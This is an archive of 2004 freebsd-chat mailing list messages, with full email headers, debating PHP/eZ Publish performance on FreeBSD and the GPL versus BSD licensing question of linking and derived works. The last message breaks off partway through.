mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5D8A216A4CE for ; Fri, 29 Oct 2004 11:36:11 +0000 (GMT) Received: from faceman.servitor.co.uk (faceman.servitor.co.uk [80.71.15.146]) by mx1.FreeBSD.org (Postfix) with ESMTP id 82CC543D39 for ; Fri, 29 Oct 2004 11:36:10 +0000 (GMT) (envelope-from wiggy@servitor.co.uk) Received: from wiggy by faceman.servitor.co.uk with local (Exim 4.30) id 1CNV37-000H5S-DS; Fri, 29 Oct 2004 12:36:05 +0100 Date: Fri, 29 Oct 2004 12:36:05 +0100 From: Paul Robinson To: jakob@grimstveit.no Message-ID: <20041029113605.GI18312@iconoplex.co.uk> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: Sender: Paul Robinson cc: freebsd-chat@freebsd.org Subject: Re: PHP performance on FreeBSD 4.x and 5.x X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Oct 2004 11:36:11 -0000 On Fri, Oct 29, 2004 at 08:29:40AM +0200, Jakob Breivik Grimstveit wrote: > At my local *BSD- and Linux User Group [1} we yesterday had a presentation > by eZ Publish [2] a PHP based CMS and portal builder framework for web. Oh, another one. What the world needs is more PHP based CMS and portal builder frameworks for the web. *sigh*. > During the session it was stated by the speaker mentioned that running > their system on FreeBSD (both 4.x and 5.x) not necessarily would be a good > thing due to a lot of filesystem calls in their product, which PHP on > FreeBSD had performance problems with under high load. In other words he > did not recommend FreeBSD as server platform for eZ Publish (or any > other PHP software for that matter) where a high number of visitors was > probable. > > I found this to be difficult to believe, and decided to ask you about > whether this might be the case or not. Well, first off, they've just told you that their product doesn't scale because it's I/O bound to disk. This should make you question their competence, seeing as this is a web application. I for one, would be reluctant to buy their product if they had just told me it'll start to break because they can't engineer their way around a known performance constraint. Especially when there are open source solutions that will. Anyway, that doesn't answer your question. It's been a while since I last did some serious benchmarking. Perhaps it's time we went about looking at it again. I suspect a current stable linux build would outperform FreeBSD 4.x on various fronts for reasons most admins know about - some of the code in there is rather old. When it comes to 5.x I'd be interested to know if they were running the latest 5.3-RC code which doesn't have lots of debugging stuff thrown in, or whether they were running older code that was explicitly not recommended for production that had been built with the debug stuff. I think this is a case of comparing apples with pears in one instance, and gross incompetence and inability to read /usr/src/UPDATING in another. I would ask them to repeat their test with 5.3-RELEASE in a week or two. If the problem is still there, ask them to publish the details of their benchmarks so we can assert whether there is a real problem, or if they're just GPL-bunnies spreading FUD. Whilst most users some time ago argued that BSD outperformed Linux and was therefore better, increasingly I've found that BSD offers other advantages over Linux regardless of Linux. I wouldn't worry too much about benchmarks, but I do think they're probably wrong here. -- Paul Robinson http://www.iconoplex.co.uk/ "All I know is I'm not a Marxist" - Karl Marx From owner-freebsd-chat@FreeBSD.ORG Fri Oct 29 13:27:46 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 918CC16A4CE for ; Fri, 29 Oct 2004 13:27:46 +0000 (GMT) Received: from main.gmane.org (main.gmane.org [80.91.229.2]) by mx1.FreeBSD.org (Postfix) with ESMTP id F393343D45 for ; Fri, 29 Oct 2004 13:27:45 +0000 (GMT) (envelope-from freebsd-chat@m.gmane.org) Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CNWnA-0002eV-00 for ; Fri, 29 Oct 2004 15:27:44 +0200 Received: from dsl241-7.adsl.no ([213.161.241.7]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 29 Oct 2004 15:27:44 +0200 Received: from willhenny by dsl241-7.adsl.no with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 29 Oct 2004 15:27:44 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-chat@freebsd.org From: "Will Henny" Date: Fri, 29 Oct 2004 13:27:41 +0000 (UTC) Lines: 9 Message-ID: References: <41815B2B.7070801@gmx.de> X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: dsl241-7.adsl.no Sender: news Subject: Re: GPL vs BSD Licence X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Oct 2004 13:27:46 -0000 On 2004-10-29, Ted Mittelstaedt wrote: > > It is. It is the stated policy of the FSF that loadable kernel modules > are considered part of the GPL work and therefore must be GPL'ed > themselves. That is where all this is coming from. Unless you're talking about the Hurd, the FSF has no say in the matter. The issue is discussed here: http://kerneltrap.org/node/view/1735 From owner-freebsd-chat@FreeBSD.ORG Fri Oct 29 16:25:22 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 87FAA16A4CE for ; Fri, 29 Oct 2004 16:25:22 +0000 (GMT) Received: from mail1.webmaster.com (mail1.webmaster.com [216.152.64.168]) by mx1.FreeBSD.org (Postfix) with ESMTP id 47C0143D3F for ; Fri, 29 Oct 2004 16:25:22 +0000 (GMT) (envelope-from davids@webmaster.com) Received: from however by webmaster.com (MDaemon.PRO.v7.1.0.R) with ESMTP id md50000250011.msg for ; Fri, 29 Oct 2004 09:01:30 -0700 From: "David Schwartz" To: , Date: Fri, 29 Oct 2004 09:24:55 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 In-Reply-To: X-Authenticated-Sender: joelkatz@webmaster.com X-Spam-Processed: mail1.webmaster.com, Fri, 29 Oct 2004 09:01:30 -0700 (not processed: message from trusted or authenticated source) X-MDRemoteIP: 206.171.168.138 X-Return-Path: davids@webmaster.com X-MDaemon-Deliver-To: chat@freebsd.org X-MDAV-Processed: mail1.webmaster.com, Fri, 29 Oct 2004 09:01:32 -0700 cc: TM4525@aol.com Subject: RE: GPL vs BSD Licence X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: davids@webmaster.com List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Oct 2004 16:25:22 -0000 > The GPL and Linux don't care if you link into their system libraries, > they expect that which is why the system libraries are LGPLd > > What they care about is linking into libraries (like readline) which > they consider "their" work. If you do it, regardless of whether you > use those library headers or use a translation think like you are > outlining here, you must GPL your stuff. > > The contamination comes from linking in, even dynamically, not from > just using ascii source files. Since the linking occurs *after* the distribution, it's part of use. How a work is used, after its made and distributed, can't make it a derived work of another work. The only way the GPL can be mandatory is if the thing it is claimed to be mandatory for is a derived work. If I write a piece of code that uses a defined interface, it's utterly preposterous to argue that it is derivative from an *implementation* of that interface, since it could be used with *any* implementation of that interface. It is, of course, derivative of the interface itself, which is why I clearly specified that you should use your own interface. DS From owner-freebsd-chat@FreeBSD.ORG Fri Oct 29 16:37:58 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4D9DC16A4CE for ; Fri, 29 Oct 2004 16:37:58 +0000 (GMT) Received: from heceta.db.net (heceta.db.net [66.11.169.52]) by mx1.FreeBSD.org (Postfix) with ESMTP id 149AE43D6B for ; Fri, 29 Oct 2004 16:37:57 +0000 (GMT) (envelope-from db@db.net) Received: from heceta.db.net ([66.11.169.52] helo=localhost ident=mailnull) by heceta.db.net with esmtp (Exim 4.24; FreeBSD 4.8) id 1CNZky-000DYB-SV; Fri, 29 Oct 2004 12:37:40 -0400 Received: from localhost.dbn ([127.0.0.1] helo=night.dbn) by night.db.net with esmtp (Exim 4.42 (FreeBSD)) id 1CNZlJ-000GAr-Hb; Fri, 29 Oct 2004 12:38:01 -0400 Received: (from db@localhost) by night.dbn (8.13.1/8.13.1/Submit) id i9TGbqoC062176; Fri, 29 Oct 2004 12:37:52 -0400 (EDT) (envelope-from db@night.dbn) Date: Fri, 29 Oct 2004 12:37:52 -0400 From: Diane Bruce To: David Schwartz Message-ID: <20041029163752.GA62159@night.dbn> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i cc: TM4525@aol.com cc: chat@freebsd.org cc: tedm@toybox.placo.com Subject: Re: GPL vs BSD Licence X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Oct 2004 16:37:58 -0000 On Fri, Oct 29, 2004 at 09:24:55AM -0700, David Schwartz wrote: > > > The GPL and Linux don't care if you link into their system libraries, > > they expect that which is why the system libraries are LGPLd ... > If I write a piece of code that uses a defined interface, it's utterly > preposterous to argue that it is derivative from an *implementation* of that > interface, since it could be used with *any* implementation of that > interface. I suppose, one *could* have the situation where someone does a "clean room" set of new include files derived from GPL ones. (This has happened already btw) and have the DCMA used against this derivation. (I suppose. I am not a lawyer.) - Diane From owner-freebsd-chat@FreeBSD.ORG Fri Oct 29 18:14:10 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F115916A4CE for ; Fri, 29 Oct 2004 18:14:09 +0000 (GMT) Received: from pd2mo2so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net [24.71.223.10]) by mx1.FreeBSD.org (Postfix) with ESMTP id AF21D43D4C for ; Fri, 29 Oct 2004 18:14:09 +0000 (GMT) (envelope-from flowers@nekulturny.org) Received: from pd2mr5so.prod.shaw.ca (pd2mr5so-qfe3.prod.shaw.ca [10.0.141.8]) by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0I6C00NMRYNL1EB0@l-daemon> for freebsd-chat@freebsd.org; Fri, 29 Oct 2004 12:14:09 -0600 (MDT) Received: from pn2ml5so.prod.shaw.ca ([10.0.121.149]) by pd2mr5so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0I6C00G5EYNLY320@pd2mr5so.prod.shaw.ca> for freebsd-chat@freebsd.org; Fri, 29 Oct 2004 12:14:09 -0600 (MDT) Received: from procyon.nekulturny.org (S0106000c41b2b9a3.cg.shawcable.net [68.144.45.143]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0I6C00JY0YNLQO@l-daemon> for freebsd-chat@freebsd.org; Fri, 29 Oct 2004 12:14:09 -0600 (MDT) Received: from procyon.nekulturny.org (localhost.nekulturny.org [127.0.0.1]) i9TIE8E1001183; Fri, 29 Oct 2004 12:14:08 -0600 (MDT envelope-from flowers@nekulturny.org) Received: (from flowers@localhost) by procyon.nekulturny.org (8.12.10/8.12.10/Submit) id i9TIE6r8001182; Fri, 29 Oct 2004 12:14:06 -0600 (MDT envelope-from flowers) Date: Fri, 29 Oct 2004 12:14:06 -0600 From: Danny MacMillan In-reply-to: <20041029113605.GI18312@iconoplex.co.uk> To: Paul Robinson Message-id: <20041029181406.GA1108@procyon.nekulturny.org> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-disposition: inline References: <20041029113605.GI18312@iconoplex.co.uk> User-Agent: Mutt/1.4.2.1i cc: jakob@grimstveit.no cc: freebsd-chat@freebsd.org Subject: Re: PHP performance on FreeBSD 4.x and 5.x X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Oct 2004 18:14:10 -0000 On Fri, Oct 29, 2004 at 05:36:05AM -0600, Paul Robinson wrote: > On Fri, Oct 29, 2004 at 08:29:40AM +0200, Jakob Breivik Grimstveit wrote: > > > At my local *BSD- and Linux User Group [1} we yesterday had a > > presentation by eZ Publish [2] a PHP based CMS and portal builder > > framework for web. > > Oh, another one. What the world needs is more PHP based CMS and portal > builder frameworks for the web. Ordinarily I would agree with this sentiment, but eZ Publish is unique. Their data model has characteristics I haven't seen in any other open source CMS. > > During the session it was stated by the speaker mentioned that > > running their system on FreeBSD (both 4.x and 5.x) not necessarily > > would be a good thing due to a lot of filesystem calls in their > > product, which PHP on FreeBSD had performance problems with under > > high load. In other words he did not recommend FreeBSD as server > > platform for eZ Publish (or any other PHP software for that matter) > > where a high number of visitors was probable. > > > > I found this to be difficult to believe, and decided to ask you about > > whether this might be the case or not. I doubt FreeBSD is at fault for this, but I can verify that (at least) on FreeBSD it runs ridiculously slowly. At least an order of magnitude slower than any other web application I've ever used. My testing was by no means rigorous, and I was using old hardware (400MHz K6, 384MB), but on a single user system with no other load it should not take 10 seconds to produce a simple front page with 3 article summaries. This was a while ago, I don't have actual timing information, but put it like this: by the time the page was served, I had lost interest in seeing the result. EVERY page was abysmally slow. The performance was so bad that even if some flaw in FreeBSD is making it slower than it should be, I have no confidence that it would improve enough under other operating systems to be scalable. Performance did improve by about 30% when using turck mmcache, but again, not by enough. > Well, first off, they've just told you that their product doesn't scale > because it's I/O bound to disk. This should make you question their > competence, seeing as this is a web application. I for one, would be > reluctant to buy their product if they had just told me it'll start to > break because they can't engineer their way around a known performance > constraint. Especially when there are open source solutions that will. Not functionally comparable to this one; it really is different. But unless you have the budget for some serious iron, I wouldn't even go there if you need scalability. Opinion not scientific, yadda ya, and I'd love to be disproved, but ... it's a clunker. -- Danny From owner-freebsd-chat@FreeBSD.ORG Fri Oct 29 19:35:42 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E1D3416A4CE for ; Fri, 29 Oct 2004 19:35:42 +0000 (GMT) Received: from VARK.MIT.EDU (VARK.MIT.EDU [18.95.3.179]) by mx1.FreeBSD.org (Postfix) with ESMTP id 83A8A43D53 for ; Fri, 29 Oct 2004 19:35:42 +0000 (GMT) (envelope-from das@FreeBSD.ORG) Received: from VARK.MIT.EDU (localhost [127.0.0.1]) by VARK.MIT.EDU (8.13.1/8.12.10) with ESMTP id i9TJZm60059822; Fri, 29 Oct 2004 15:35:48 -0400 (EDT) (envelope-from das@FreeBSD.ORG) Received: (from das@localhost) by VARK.MIT.EDU (8.13.1/8.12.10/Submit) id i9TJZmdd059821; Fri, 29 Oct 2004 15:35:48 -0400 (EDT) (envelope-from das@FreeBSD.ORG) Date: Fri, 29 Oct 2004 15:35:48 -0400 From: David Schultz To: David Schwartz Message-ID: <20041029193548.GA59783@VARK.MIT.EDU> Mail-Followup-To: David Schwartz , chat@FreeBSD.ORG References: <41815B2B.7070801@gmx.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: cc: chat@FreeBSD.ORG Subject: name conflicts (was: Re: GPL vs BSD Licence) X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Oct 2004 19:35:43 -0000 On Thu, Oct 28, 2004, David Schwartz wrote: > On Thu, Oct 28, 2004, Phil Schulz wrote: Gah! You two are confusing me! ``Hey, wait a minute, I didn't write that!'' I guess it's better than being one of the various Tom Rhodeses... From owner-freebsd-chat@FreeBSD.ORG Sat Oct 30 00:42:29 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F257B16A4CE for ; Sat, 30 Oct 2004 00:42:28 +0000 (GMT) Received: from mail1.webmaster.com (mail1.webmaster.com [216.152.64.168]) by mx1.FreeBSD.org (Postfix) with ESMTP id DA40243D3F for ; Sat, 30 Oct 2004 00:42:28 +0000 (GMT) (envelope-from davids@webmaster.com) Received: from however by webmaster.com (MDaemon.PRO.v7.1.0.R) with ESMTP id md50000250709.msg for ; Fri, 29 Oct 2004 17:18:19 -0700 From: "David Schwartz" To: Date: Fri, 29 Oct 2004 17:41:42 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 In-Reply-To: <20041029163752.GA62159@night.dbn> X-Authenticated-Sender: joelkatz@webmaster.com X-Spam-Processed: mail1.webmaster.com, Fri, 29 Oct 2004 17:18:19 -0700 (not processed: message from trusted or authenticated source) X-MDRemoteIP: 206.171.168.138 X-Return-Path: davids@webmaster.com X-MDaemon-Deliver-To: chat@freebsd.org X-MDAV-Processed: mail1.webmaster.com, Fri, 29 Oct 2004 17:18:20 -0700 cc: TM4525@aol.com cc: chat@freebsd.org cc: tedm@toybox.placo.com Subject: RE: GPL vs BSD Licence X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: davids@webmaster.com List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 30 Oct 2004 00:42:29 -0000 > I suppose, one *could* have the situation where someone does a > "clean room" > set of new include files derived from GPL ones. (This has > happened already btw) > and have the DCMA used against this derivation. (I suppose. I am > not a lawyer.) It is not possible, the DMCA only applies to restrictions against use, and the GPL neither has nor allows any. IANAL, but as far as I can tell, ther eis no conceivable way there could be a DMCA issue with a GPL'd work. DS From owner-freebsd-chat@FreeBSD.ORG Sat Oct 30 02:49:07 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1C2AF16A4CE; Sat, 30 Oct 2004 02:49:07 +0000 (GMT) Received: from pickering.cc.nd.edu (pickering.cc.nd.edu [129.74.250.225]) by mx1.FreeBSD.org (Postfix) with ESMTP id 901EB43D41; Sat, 30 Oct 2004 02:49:06 +0000 (GMT) (envelope-from dmschei@attglobal.net) Received: from [10.0.1.2] (scheidt-rout.canopy.nd.edu [129.74.98.169]) (authenticated bits=0)i9U2n3Pj026726 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Fri, 29 Oct 2004 21:49:04 -0500 (EST) In-Reply-To: <20041029193548.GA59783@VARK.MIT.EDU> References: <41815B2B.7070801@gmx.de> <20041029193548.GA59783@VARK.MIT.EDU> Mime-Version: 1.0 (Apple Message framework v619) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <42BFBC8E-2A1E-11D9-AFF7-0030657EDEB2@attglobal.net> Content-Transfer-Encoding: 7bit From: David Scheidt Date: Fri, 29 Oct 2004 21:49:04 -0500 To: David Schultz X-Mailer: Apple Mail (2.619) X-ND-MTA-Date: Fri, 29 Oct 2004 21:49:05 -0500 (EST) X-ND-Virus-Scan: engine v4.3.20; dat v4403 cc: freebsd-chat@freebsd.org Subject: Re: name conflicts (was: Re: GPL vs BSD Licence) X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 30 Oct 2004 02:49:07 -0000 On Oct 29, 2004, at 2:35 PM, David Schultz wrote: > On Thu, Oct 28, 2004, David Schwartz wrote: >> On Thu, Oct 28, 2004, Phil Schulz wrote: > > Gah! You two are confusing me! ``Hey, wait a minute, I didn't > write that!'' > > I guess it's better than being one of the various Tom Rhodeses... > Tom, I hate to break it to you, but you are Tom Rhodes. From owner-freebsd-chat@FreeBSD.ORG Sat Oct 30 05:00:26 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A244016A4CE for ; Sat, 30 Oct 2004 05:00:26 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3956D43D31 for ; Sat, 30 Oct 2004 05:00:26 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) i9U509Y08776; Fri, 29 Oct 2004 22:00:09 -0700 (PDT) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Phil Schulz" Date: Fri, 29 Oct 2004 22:00:09 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <418212DB.1010305@gmx.de> Importance: Normal cc: chat@freebsd.org Subject: RE: GPL vs BSD Licence X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 30 Oct 2004 05:00:26 -0000 > -----Original Message----- > From: Phil Schulz [mailto:ph.schulz@gmx.de] > Sent: Friday, October 29, 2004 2:52 AM > To: Ted Mittelstaedt > Cc: davids@webmaster.com; chat@freebsd.org > Subject: Re: GPL vs BSD Licence > > > So I cannot use GPL'ed (vs LGPL'ed) library for software w/o placing > the result under the GPL? Correct - per the FSF's interpretation of the GPL. > I think I'm realizing once again that I don't fully get the GNU > interpretation of "free". To me, "free" means more sth like "here, take > it and do what you want w/ it, but don't bother me if you screw up" > which is why I favour BSD-style licensed software. > I don't think that anyone really gets anything that RMS says about anything. Ted From owner-freebsd-chat@FreeBSD.ORG Sat Oct 30 05:48:52 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5F3D116A4CE for ; Sat, 30 Oct 2004 05:48:52 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id EC5C543D53 for ; Sat, 30 Oct 2004 05:48:51 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) i9U5mnY09012; Fri, 29 Oct 2004 22:48:49 -0700 (PDT) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: , Date: Fri, 29 Oct 2004 22:48:48 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: Importance: Normal cc: TM4525@aol.com Subject: RE: GPL vs BSD Licence X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 30 Oct 2004 05:48:52 -0000 > -----Original Message----- > From: David Schwartz [mailto:davids@webmaster.com] > Sent: Friday, October 29, 2004 9:25 AM > To: tedm@toybox.placo.com; chat@freebsd.org > Cc: TM4525@aol.com > Since the linking occurs *after* the distribution, it's > part of use. How a > work is used, after its made and distributed, can't make it a derived work > of another work. That is one of the arguments. But, the GPL is concerned with distribution. I think this has been raised before with them. I think that the scenario was, if I make a program that dynamically links into GPL, then I distribute both my program and the GPL code that it links into, do I have to put my program under GPL? I think their answer was yes - they argued that when the linking takes place and who links it is immaterial, and that the fact that your program cannot run without their stuff means that when your code is running, that your program and their stuff become as a single program. This is why they created the LGPL. > > If I write a piece of code that uses a defined interface, > it's utterly > preposterous to argue that it is derivative from an > *implementation* of that > interface, since it could be used with *any* implementation of that > interface. > And if you found some non-GPL program that created the exact same interface as your program needs, and distributed it and your program together, then all this is a moot issue. > It is, of course, derivative of the interface itself, which is why I > clearly specified that you should use your own interface. > > DS > > > From owner-freebsd-chat@FreeBSD.ORG Sat Oct 30 05:57:06 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CB29616A4CE for ; Sat, 30 Oct 2004 05:57:06 +0000 (GMT) Received: from lariat.org (lariat.org [63.229.157.2]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0600743D2F for ; Sat, 30 Oct 2004 05:57:06 +0000 (GMT) (envelope-from brett@lariat.org) Received: from runaround.lariat.org (IDENT:ppp1000.lariat.org@lariat.org [63.229.157.2]) by lariat.org (8.9.3/8.9.3) with ESMTP id XAA24809; Fri, 29 Oct 2004 23:56:55 -0600 (MDT) X-message-flag: Warning! Use of Microsoft Outlook renders your system susceptible to Internet worms. Message-Id: <6.1.2.0.2.20041029235332.0532be08@localhost> X-Sender: brett@localhost (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 6.1.2.0 Date: Fri, 29 Oct 2004 23:56:54 -0600 To: "Ted Mittelstaedt" , , From: Brett Glass In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" cc: TM4525@aol.com Subject: RE: GPL vs BSD Licence X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 30 Oct 2004 05:57:06 -0000 At 11:48 PM 10/29/2004, Ted Mittelstaedt wrote: >That is one of the arguments. But, the GPL is concerned with distribution. >I think this has been raised before with them. I think that the scenario >was, if I make a program that dynamically links into GPL, then I distribute >both my program and the GPL code that it links into, do I have to put my >program under GPL? I think their answer was yes - they argued that when >the linking takes place and who links it is immaterial, and that the fact >that your program cannot run without their stuff means that when your code >is running, that your program and their stuff become as a single program. > >This is why they created the LGPL. And then, after Linux was a success and they'd gotten a lock on certain application areas for UNIX-like operating systems (e.g. compilers), they made the LGPL more restrictive and renamed it from the "Library GPL" to the "Lesser GPL." And since the FSF requires all of the "GNU" software to be signed over to it, suddenly the rug is pulled out from under those who were using the software under the less restrictive license. The FSF now recommends that libraries be GPLed, to trap developers. Stallman loves to say, "Gotcha!" --Brett Glass From owner-freebsd-chat@FreeBSD.ORG Sat Oct 30 07:49:32 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2A9C616A4CE for ; Sat, 30 Oct 2004 07:49:32 +0000 (GMT) Received: from mx.tele-kom.ru (mx.tele-kom.ru [213.80.148.6]) by mx1.FreeBSD.org (Postfix) with SMTP id B854C43D2D for ; Sat, 30 Oct 2004 07:49:30 +0000 (GMT) (envelope-from doublef@tele-kom.ru) Received: (qmail 23397 invoked by uid 555); 30 Oct 2004 07:52:52 -0000 Received: from shark (213.80.149.223) by t-k.ru with TeleMail/2 id 1099122771-23354 for kdk@daleco.biz; Sat, 30 Oct 11:52:51 2004 +0400 (MSD) Received: by shark (Postfix, from userid 1000) id 157A023D; Sat, 30 Oct 2004 11:49:07 +0400 (MSD) Date: Sat, 30 Oct 2004 11:49:06 +0400 From: Sergey Zaharchenko To: "Kevin D. Kinsey, DaleCo, S.P." Message-ID: <20041030074906.GA299@shark.localdomain> References: <12f.4ef7e28f.2eb3c860@aol.com> <418281B9.7000707@daleco.biz> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="tThc/1wpZn/ma/RB" Content-Disposition: inline In-Reply-To: <418281B9.7000707@daleco.biz> User-Agent: Mutt/1.4.2.1i X-Listening-To: Silence cc: chat@freebsd.org Subject: Mail processing (was: Re: Compatible NIC) X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 30 Oct 2004 07:49:32 -0000 --tThc/1wpZn/ma/RB Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Oct 29, 2004 at 12:45:29PM -0500, Kevin D. Kinsey, DaleCo, S.P. probably wrote: > [1] I am in no way associated with the FreeBSD Project or Foundation, nor > America Online, not Time-Warner, etc. I am not a lawyer, nor a doctor, a= nd > I have never "acted" like anything but myself when on television.... >=20 > [2] I am in no wise recommending that anyone **else** add this address to > their "killfile". >=20 > [3] If 